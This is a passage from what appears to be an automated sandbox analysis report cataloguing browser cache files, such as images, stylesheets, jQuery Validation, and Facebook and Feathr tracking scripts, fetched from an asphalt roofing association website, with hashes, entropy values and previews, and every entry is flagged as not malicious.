SHA-256:	C2F36AF7314D61C9CAE5AE02E3A2C334F75CE00D76A3904380567AB2F95F7F8D
SHA-512:	B144213049B4A00B7AEFC098E960C3D23B89CB4C9645EEC57CF63A67CBDCDF1725B9197DF9B359227FDC803AB4AB258090B6531F648BFE316411D289568F1212
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2018/02/museum-of-the-american-revolution.jpg
Preview:	......JFIF..............................(.....1#%.(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc......./../cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc..........."..........2...............................................................&u.1].2K........`..............h...f.J.E)V....Y^}45E.K3..m...r...:,..$f..e...S..tg..t...S.4D.9U4.V-e....y..:....!.+.3i.r......2KX.8..=.R..nL..Y;i.:..".h.A!.(N.!.3...M.P......................................uy=m@....1..C@.................K?........Db.0<E;....WY....L.D`.........w.N.M...d..N.m<...q..+..:........,...<...s..F%2...NH.k.0.dcc...R..^.7\k...n..j..T...Q...N.'.8.m..a.Y//yu...;0k....L.2hZ5....Y.M.3i..>..Je..%...4.]!k.....K6......Uf..,1.....f..6."tNq]..i.9...WX.....u..G]q....9..L...@.C..v...#..:q....U..Lie...F.J.U.MUKR.l....%i.J6.V......g].t.s.m9...Cls.F..^V.....t.\W%j0.t.m...C.F..F...,.1.e.....ilju.<.dsL.t....][.i..E. .vg.......2..,.Uo1..V:.L.e.PU.Q .r.-t.Ii..P.g.Ty.%.Yh...Xi.=..:.M...F.... b....Zq.

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	5430
Entropy (8bit):	3.3268489633968112
Encrypted:	false
SSDEEP:	48:c396RiRm/fKlaT2gLOiHgmJ1v78sfYhZ9Y4UeTWB5YkiMTqsMufQx+37Kuat:g0RH/bP378sfYhXRHWPKyQ4Ouat
MD5:	58AE88387C35454D5CCE8CB1EB3911B8
SHA1:	F04A86F7CEA571E1679E4003AD761793A377728D
SHA-256:	7365F0F55CFAEFA77EC434ED0F50190FDD6A65F41ECE6DA163CB18AF8A92ECAB
SHA-512:	5007648D4A8012469C371CA8F8C20FAD4A169E9AE427683F38A55D62A9A61511465A168C169296DB990EB931289DFDBE747B7CBD573537A958ADF0AEB558C969
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/templates/buckhead-jt/favicon.ico
Preview:	............ .h...&... .... .........(....... ..... ....................................................\|.......... ...........................................2.......................c...................................[..........................................................}............................................................................................b...........K.................*...N...........S......w...........)...PK.q.N.k.......T..........................................K.kHJ.k.J.l..................................................K.l>J.k.J.l.................................................K.mTJ.k.J.k.N.o...............Z....................K.l.K.k.J.k.J.k.J.k.J.n'..................................K.k.J.k.J.k.J.k.J.k.J.lB.................O............f..J.k.J.k.J.k.J.k.J.k.K.lJ.................2................J.k.J.k.J.k.J.k.J.k.L.l-..E.................$....O.p.K.lcJ.k.J.k.J.k.J.k.J.l.........................

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 534 x 61, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	7.938919608127834
Encrypted:	false
SSDEEP:	192:jkS+LaNVlBCZMQrrZ/F68v/UAXaICEpFtwuEw2z31g:jkQlBCqQ/Z/F5v/UIaInFtjEw/
MD5:	A50663C942A521A5B5D9ACE4CBA095B4
SHA1:	849DE66952573CD8F0B63237460FCDF0710685B5
SHA-256:	4938FFD8C745846B1857E94C299847C0CAB296259C37520077058618C36B4651
SHA-512:	ECBF29F2E19DC70160A1A4B4B96FA59287B114A9F9FBA572BFCEAFBB265BA76B8061FBFCEA39AB4AA55BAFA47E59B43915CB528695222823D7A8FF642295DE11
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......=...... .....tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmpMM:InstanceID="xmp.iid:C87B6D21062A11EAB360AFE43D1D257F" xmpMM:DocumentID="xmp.did:C87B6D22062A11EAB360AFE43D1D257F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C87B6D1F062A11EAB360AFE43D1D257F" stRef:documentID="xmp.did:C87B6D20062A11EAB360AFE43D1D257F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>s.jD.."sIDATx..]..\U.>U.......}_..!..E.#...@..E.A..qc.Q..A...1.("...H...d...........f.N....=U..n.~kU....}....^.w.s...

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 174, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5128
Entropy (8bit):	7.927762765485592
Encrypted:	false
SSDEEP:	96:ywT3asJwAChJNx/cHBIxknAiKH+lhwW69gCIU3fWHjR34hNaJpE:ywT3LRC3ksknAiKmeWrCIU3IjR3wNarE
MD5:	042764B6C580888A0D7676340C033AA4
SHA1:	B4C1AED305C79BB7E4AFD470D1CB2EABDB2ED44F
SHA-256:	DB8B87252EADA43A7A0B6D5E03DCB5CC43D42D6C4A05D39F3EEF8290A5F79C84
SHA-512:	2CE2F234BB78CDDA762F3F36FD923A4BAEB66A89D9EF3211926049EEA3834DDD289C6B9CC8F2E97E811BEBF5D2D2F28796AE6CAA5BB6A318079D7A7CB62865AD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...,............ ....PLTEZ3-,..xKD.........K..k..t .m..t ..Q2.\8..Z..Z..Z....................Zt .t .O..L....................N..a..t ..3+....n..Z................N...... tRNS....3H>Fg!....3g3a............m........IDATx...s.....pT.,.>.c[.&..........!0..R5.l.F..V...z.r.".....}J<.G..b1:.o.p.h.e...qD..H...8."...uy.J.5.v....<.m.\|.L&s.L..,..x.]Xo..E=..`.cc.g.b6.a..~.;HV4w`....?.....A~.X...L.k..9H..........pb.HX...8...M.9...Z.L..F..%..3'.S.....M<.1R8.29......{<...,+E..aN.I...L.....p.H.UB)"X$YS.284..Mg.....H.q.Y..(Y............<........f...&xnb%......PC.......d<...#.......b..vS..!Y0....F..y....q.....X.]...[.....+.x.S..g.....".ee.......\|X337.E.r..c{....b..$kl.,k......bwt..x#.HxtX..)...wN0..!..f.1Q...G..j.X(.%.(R5.`Mx.c`...n.i./Y...2.R...2,.v.X..5....L.....{..O.,.H.0.]...j.L.5Z.\OL.....1..(XAW.....dM...ESg.a.3SC..7....A^.].M.....+{M......,.....7.......%...M<..+8..0..................XL37C....=..o.........v..6..iP.@....pw<..>,.......D...~...}.Z

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	364
Entropy (8bit):	4.929866793080622
Encrypted:	false
SSDEEP:	6:3nlIgXMBkfLk3HxSVQXfFXoASTeyXVhprW1oZLoWwo/EdYRMZrrBoyAJEqVSXXAT:1IgcSYYVQlPSTf/prW1yHwTYRMFVlA+U
MD5:	696080BA6A81A1D37F84D5152EE76307
SHA1:	2332E963AD7428ABA13511E69ED8144738E903B6
SHA-256:	37AC4091AD3744E2ED138B10D93C971D049C5B8D9E94295B2838EC3E14F79DD2
SHA-512:	29277E72F05E45F799199C8CAEF6495A9191EAF3D59BB5DB5474F16A395013190E066501E59B448B2ECC11703A56E6E7A32379C9E40352279C9AD5C625260745
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/jquery-collapse-o-matic/css/core_style.css?ver=1.0
Preview:	.collapseomatic, .colomat_trigger, .collapseall, .expandall, .setall {...cursor: pointer;..}...colomat-swap {...display: none;..}...maptastic {...position: absolute !important;...left: -10000px !important;...display:block !important;...max-width: 9999px;..}...com_edit_link {...margin: 0;...padding: 0;...font-size: 1.2rem;...width: 100%;...text-align: right;..}..

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, comment: "Compressed by jpeg-recompress", baseline, precision 8, 500x500, components 3
Category:	dropped
Size (bytes):	56187
Entropy (8bit):	7.979371885656866
Encrypted:	false
SSDEEP:	1536:Y62BpithqheDDuHz1ZRItHrrBB/seMYnYzLQcHf:QBpiageHz13aHrtB/seM0YzV/
MD5:	58D1250E8C0AFE5B023F1D79FB20385B
SHA1:	D7779105C5073BD46D2259E2F406B1BAA6926075
SHA-256:	80248871238EB2059EFC63A69EABC8129ED9A5C6143718EA34F44766F5CCA6B7
SHA-512:	B9458C01878D07F58902C2AEA0CF695F412AAC0EA03AC92EB3BDC04CD6A548ED5575C3B84B12DA19EC73603DEFE4EBB6A46DD446E8EE3C4E44E24736B0C0D0C4
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H......Compressed by jpeg-recompress...C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$..........."........................................F.........................!1A.."Qaq..2...#B...R..$3Cbr...S...c..%4d...................................9........................!.1AQ."aq..2.......#..$BRb....C............?..Z..4L}.9..4..M...O...i....}@.2O.......{v.,..H."..G.1L`..# ...q@H.E.2.g..FE.[...o.^G.@.;.h.a....C.e....a.h.r..8.j.D$.&.l.......'9...F=...eI....?N....;..,\.3U...T.. ... ...Q[. .nE@N[...........N8....#:.<.b+.x.J..r^(.By....=..C.9..Pi.+.i/7).69....$G.....$U...R1.....[.... Z...........kh.T.C..[..F...g..Pw0..?...E.....W...%ML.n..jg..=...,...=........... ...9..1.{...M.F.^.N8"..$)k!@.,A....^L....NQ....e-o.a.X...([.P.....{R.F......\&gX.jT....r.p'.Wb...Z.$S0i.B8.~...An..r..q..N...Ul.K..T+6.r.....h...v.:G.C$/.....v.....g..~%.....s..Q9...0..8..t....G.0T..[Kvp...

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64347)
Category:	downloaded
Size (bytes):	223683
Entropy (8bit):	5.454805360153245
Encrypted:	false
SSDEEP:	3072:tt8WClBZIncVuP0bteuvQ+AMPpgArl0xYu5GKnPt:ttlWBZ7O0bvQQGArHu5GKn1
MD5:	85F41014BE15CC3E54A4123C00C5021E
SHA1:	1E5468F507A8B0216114A8D8F63309BE8CBCAB9F
SHA-256:	01E9582655224C83E6C075F44B7EECB135E108B6AD2150BF6F78A0A77C4AD5E0
SHA-512:	78F6D6CD922AA42FD340CF215D7D91DDFABEF5EC393DFA5EB578436B9B668F839747218A4DE980AEC2395194667B1E0215623EC902EAAF8CE592536172414FCD
Malicious:	false
Reputation:	low
URL:	https://connect.facebook.net/en_US/fbevents.js
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 590 x 350, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	16823
Entropy (8bit):	7.956027976467921
Encrypted:	false
SSDEEP:	384:aM4lwwCKGyxy3mhzn4NoNAmGRW7R2eg+8Fin5CP:rRwCKGyxy3an4JYo9BICP
MD5:	164F88293A91D34DFA20A7A15EDF599D
SHA1:	B8C7810ABAA433EC8D1DE749E16AC78C95553AB7
SHA-256:	798299B29CE09F4EAFB017114A591914E68706377A78566B132FB9267A800321
SHA-512:	C2623FDA71FA6456CA2D077644E07CB245DEFE2BF2857A5024EEDA6574B654926C96E85BF673CD71538BA0DB36B418E4E858C3A2806046AEF4BBC8EA7ED5C0C4
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/api/js/StaticMapService.GetMapImage?1m2&1i4828396&2i6376514&2e1&3u16&4m2&1u590&2u350&5m5&1e0&5sen&6sus&10b1&12b1&client=google-maps-embed&token=71249
Preview:	.PNG........IHDR...N...^.....D.`....`PLTENRVTnzpuz_w.{~...84.SQ.ii..x..~..T................................................................6.....bKGD....... .IDATx...c.:...=..z.2(...?.M..(E.t.9.sL.."I.4...Ka@.E.Y.V..)xU..P...../.j.].EY.q......I...z\.4NB.WeY...-.F.o../..CV@.L.].Q.P.p...qR ...a...Z.x..,.RuY5..,.#2..I......!...bs..Q...7!...UU%..E.!.V...,d...r.Xk..o......;.?$.6i'.3..0.p...A.x!tk.fTLV..).'..4$go..NZ..I.ik.<`..:.uU(FY......D.%.....IU.&'...W.g.iH.q...t.W..M.UC.z8.`...2....)I...)t.....(..{.4.]3....n.iH.pr....M....Q..0...OL.c.....!.wd..!.........r.x.`\|a......\.D..BY..n.....)M..,.....Z..D....!d..1........sE...h..&.p...N.@.b...RPO......%.g&&$..'...&...:....%.3.......u.r4-...v.2...4$..`.].8P......Y.D\.1(%b..m.."..~W.$..........U.Y..H..B?..zPj;...x.iH...9..fiQ.,6...47).YR%.dq.[UDR..w...KYj..i....UV....jp.5.Xo...m8.....3`.di..K....$'$.+p.....8.6....+....Z.......kq..TN......\.d=k0[......$.`.4.Y.W.pB.U.e.~,hC...-/....E"...Z...!..).2.."f

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 87, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	606
Entropy (8bit):	7.493521283641872
Encrypted:	false
SSDEEP:	12:6v/7xfCMil/rrr+TLXK+xcSh1hLf+O0bdE4Xp5okWh69:gqlvKTLXRxcS/JW13ZZWK
MD5:	854CB85499A0704D1AFEA0F97EEC1E5F
SHA1:	F1459FF0DA8EF50761E2D02696344B65D6FB738E
SHA-256:	9C25453341720E0514C449340F301D0B4278C8226F5274A82FF853EEF91F664F
SHA-512:	FA48C6711FA24604AE7256E1903ED6DA52F3108EF812F181BF454C955B858449B364FA290CCEC08BB41668EECEDF94C1DDDA02EEB9D53CD4C34773BE0CE15E26
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\...W.....{.?.....PLTE.QK...u".v$.......t ..l......tRNS.Pn........IDATx..n.0..`c.s.cGN.......{..{.G......;..E....^..A%..T.........5#.Ik._.>.8=.....S.w..<N..}.<N...\|.qB.........y......P...!~.....;.......Q..n ..w.........yX.).E.1...G.+..H.F.V.s4eN$...q\|..q.l..D.S..w.........KB\..'?...'`.. ......W5.....~SJ5.'`....'.[].zuBY._......&>..o....H5..9.....QM_V...?......5.../......;.-..F.p.'-?.o<........z?..t.7....j..u....3'5.....@...ix....q...X.3xF..*....9.f ..f:....2+'Nm....o..(:..>q...B.1^.9.....".%........[...{..g^....'.......`.....q..l'.....IEND.B`.

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (23122)
Category:	downloaded
Size (bytes):	23261
Entropy (8bit):	5.227722635338554
Encrypted:	false
SSDEEP:	384:QorHpFSnWB6/tX2lH1dkMiYnFpg54Lrf7m9SNAc0Eny+RWuK7NeBMwV/vtrx+OLg:eWB6/8lH1dkMioFpg54n7mcQEny+NLx+
MD5:	93C1DD8416AC2AF1850652D5B620A142
SHA1:	6A76E4C7DB479053350580469AA010FEBFDCACD0
SHA-256:	17A879E50C3AB3078AFADED288E257FB66E94806B76FF7E796B54226F9848F50
SHA-512:	3BF9D44C5E66745921128407167F4DE709A06325B7DB724EEAFF24AFA96D4912AB899C93AFFF38D7BB5A55679A6D54B888E346936578E38403D0FD9CC21B9392
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/jquery-validate/jquery.validate.min.js?ver=1.11.1
Preview:	/! jQuery Validation Plugin - v1.17.0 - 7/29/2017. https://jqueryvalidation.org/. * Copyright (c) 2017 J.rn Zaefferer; Licensed MIT */.!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=a(require("jquery")):a(jQuery)}(function(a){a.extend(a.fn,{validate:function(b){if(!this.length)return void(b&&b.debug&&window.console&&console.warn("Nothing selected, can't validate, returning nothing."));var c=a.data(this[0],"validator");return c?c:(this.attr("novalidate","novalidate"),c=new a.validator(b,this[0]),a.data(this[0],"validator",c),c.settings.onsubmit&&(this.on("click.validate",":submit",function(b){c.submitButton=b.currentTarget,a(this).hasClass("cancel")&&(c.cancelSubmit=!0),void 0!==a(this).attr("formnovalidate")&&(c.cancelSubmit=!0)}),this.on("submit.validate",function(b){function d(){var d,e;return c.submitButton&&(c.settings.submitHandler\|\|c.formSubmitted)&&(d=a("<input type='hidden'/>").attr("name",c.sub

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	12663
Entropy (8bit):	4.952258579074299
Encrypted:	false
SSDEEP:	192:5ZIxMVqu+Y9RiUpRxuerpLRGdwiEzZpksS7bmFs07kPh:oMVquxHQerpFGdwiEzZvktkkPh
MD5:	4045FBC98E0CAAE7E213F52330C52C21
SHA1:	253B81DC846081E189174789220A296D96849681
SHA-256:	168642741CF6ACD34501D09C8CC1C7E6BE332CA9222F3223419BD1664B381839
SHA-512:	4CA201F2E649151E0BA5D8FA8F6BAC78FE6BF539DAC419996A191189ED67E88F2972C4D2FBC5F199F1A484DDA94C35E806A983AD93342CE9DEBC9060C15B10DB
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/essential-grid/public/assets/font/fontello/css/fontello.css?ver=2.3.6
Preview:	/***************************. Fontello Icons.***************************/.@font-face {. font-family: 'eg-font';. src: url('../fonts/egfont.eot?85610117');. src: url('../fonts/egfont.eot?85610117#iefix') format('embedded-opentype'),. url('../fonts/egfont.woff?85610117') format('woff'),. url('../fonts/egfont.ttf?85610117') format('truetype'),. url('../fonts/egfont.svg?85610117#egfont') format('svg');. font-weight: normal;. font-style: normal;..}...eg-icon-soundcloud:before { content: '\e8ca'; } / '.' /..eg-icon-music:before { content: '\e858'; } / '.' /..eg-icon-color-adjust:before { content: '\e862'; } / '.' /..eg-icon-mail:before { content: '\e868'; } / '.' /..eg-icon-mail-alt:before { content: '\e869'; } / '.' /..eg-icon-heart:before { content: '\e86a'; } / '.' /..eg-icon-heart-empty:before { content: '\e86b'; } / '.' /..eg-icon-star:before { content: '\e86c'; } / '.' /..eg-icon-star-empty:before { content: '\e86d'; } / '.' *

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	4.520829475849048
Encrypted:	false
SSDEEP:	6:2LGZFbz+UFvqX3yNfb1+22HWjGU9UIifoAMLDNe:28qiaK5/tMoAM3M
MD5:	2A5E09407B9EE5F309390EC090F4DCA9
SHA1:	8249EDA67EDE28AE157585E96A95B6CEE0E740A9
SHA-256:	81C96E1E00234B9D88DFFD0694F42F23BA96DB4D243D0673C3BC776FABA534FC
SHA-512:	DB6464BFD3AE3042AA8DCD3FBE80EF0383A60533992ABB9D9FE520BA8A6875E64063DFFF9743F4FC63260BBE8A7DA3F94FA929B828A653D6F43B192BAAB00C6C
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884076727
Preview:	(function (w) {. . . . if (typeof w.feathr === 'function') {. w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab');. }. . .}(window));

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:P:P
MD5:	8A80554C91D9FCA8ACB82F023DE02F11
SHA1:	5F36B2EA290645EE34D943220A14B54EE5EA5BE5
SHA-256:	CA3D163BAB055381827226140568F3BEF7EAAC187CEBD76878E0B63E9E442356
SHA-512:	CA4B6DEFB8ADCC010050BC8B1BB8F8092C4928B8A0FBA32146ABCFB256E4D91672F88CA2CDF6210E754E5B8AC5E23FB023806CCD749AC8B701F79A691F03C87A
Malicious:	false
Reputation:	low
Preview:	{}.

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2162
Entropy (8bit):	5.405438032905692
Encrypted:	false
SSDEEP:	48:1OLNFlOLNTFZKOLNZOLNW3yOLN3AOLNgRVc+umOLN+1N0oD:1OLNFlOLNTFZKOLNZOLNW3yOLNwOLN8d
MD5:	E90E36C9FCF4283439F0C2BB5BB96254
SHA1:	ABE9B8FEEFFCBFF899A67603CDCCB93065C0480D
SHA-256:	44004199012159C073F8C965213F9E0AECD633DFE1D58641D7F497D3C7423A61
SHA-512:	0CA1D8840D764DE1A1ECA2ACFBC2ABA0A73624D2E5DFC636BA773F075CD967BC235111731B47FF4547F30F674AAFDC28FC39372B3B8FFC6B2E2730A07FD3E59D
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Roboto:400
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2');. unicode-range: U+0370-0377

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 800 x 1000, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	21622
Entropy (8bit):	7.85357999866594
Encrypted:	false
SSDEEP:	384:2w1ZIm7iOk64fjy5VCG5K+kvaLUUOlqYcbP/sraAGjsP65+:2wXIPrrQkK4v0YA3sraUPQ+
MD5:	691E578D5E3F0F4DC8532D6C4B20D265
SHA1:	C2CBE1E667141E1EA5F90F156082193CC72629EF
SHA-256:	1C27D145238C94D6085C8C54269724C2840F42372AECAD77C86D8F89327679FC
SHA-512:	D40ED6B5DA85631190C4B0C82B163F5E2F98B246A52A63105C76159517D0902289D4706B3701BBD6BBA33AF3F00D9A2FBF782BDC6A04D54AE64E317865EDEC07
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard4_TechnicalDifficulty.png
Preview:	.PNG........IHDR... ...........j....QPLTE.............................xww~qpqkkffeUUUWKSNMMNLKQHGTEDDCCI=<?42865""".......f7...S.IDATx......F..8..M......~f..J <..^..I...4..4....r..\|..\|..#Z......................................................................................... .. .. .. .. .. .. .. .. .. .. .. .. .. ....@..@..@..@..@..@..@..@..@..@..@..@..@..@...........................jt\|.#.........I.... q.\.<..@.,..&5...M.@.$..K.U.....r{<..=..p...L..a....lT..e@.&.u...........Z@.FU...W..`.......h.....q{.......r{b3..+"Hz....#.."H..z:.d>ld.......N/. 5.....J..... ..d6p...K.1..."......B.Z@j82/nd.&.2.6..4....g.zB....l(<....".O.v9\|,....\..C......zR.....lc].W...l..X.2#6..H.......y...jT..U..'.Q....,......76.....!w..O.....'....3..w.p.. 3a....S.7./...........GM.t@..(.........B..1......i......Lz.8.)9..I....l.Y.........L...q+?......r.......s.gro<.GGH4 n..\|...n./#.I-]...t...x<...M...a.r........a....o.W..w.........5......[..9H.......'6...q.'.b-...H.G0.n..x...!..c...

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	731
Entropy (8bit):	4.610633306111441
Encrypted:	false
SSDEEP:	12:U4p6LB2USBx10c/sma6RfmQ7QnNPk4AgsMf3GtM+6nbz1qatNAfi:sLB7sjzZnUnJJjPYUZqatNl
MD5:	C021D1E634A2D9B85A2260645A3C11FD
SHA1:	60A5FC7B72CCFCCF593FF462BA28FAA8A72CBA5E
SHA-256:	FDD31DCAD746397F0B1B8951BFC6FE068A1DCB1E7DD4A017A3787BCCF8580265
SHA-512:	71B8964D2A8116BCE8B38E7F6FF6AC36E6B97BCF15BC30232B94599682C69CBF881D38276ED20B67230E1993C063F92106EDE4C78A888F54D7D9F860270DFC69
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/themes/base/ui.accordion.css
Preview:	/* Accordion.----------------------------------*/..ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; }..ui-accordion .ui-accordion-li-fix { display: inline; }..ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; }..ui-accordion .ui-accordion-header a { display: block; font-size: 1em; padding: .5em .5em .5em 2.2em; }..ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; }..ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; margin-top: -2px; position: relative; top: 1px; margin-bottom: 2px; overflow: auto; display: none; }..ui-accordion .ui-accordion-content-active { display: block; }

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fguide-for-homeowners&trace_id=bf6179459df44a838ca92764bac52c80&cts=2024-04-23T14%3A54%3A26.897Z&hit_id=11ce44e5-3ed8-45be-a9b5-6729f6219d38&ht=pageview&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=1892096322&z=1428384473
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1478
Entropy (8bit):	5.1425262870180015
Encrypted:	false
SSDEEP:	24:XijtIVvkOTOzVl4YVOTOzaNnqyos/RtPdjMc+cFsSSaYL4/SjTUgZ6xtRRRbgA:XiGkPz8YVPzaAyZfjFuzatRRRbgA
MD5:	60F1761E5D013B9A14802533AF2E0E0B
SHA1:	0380C31FF794A3191B1BD5EE5D7D2B084C96D876
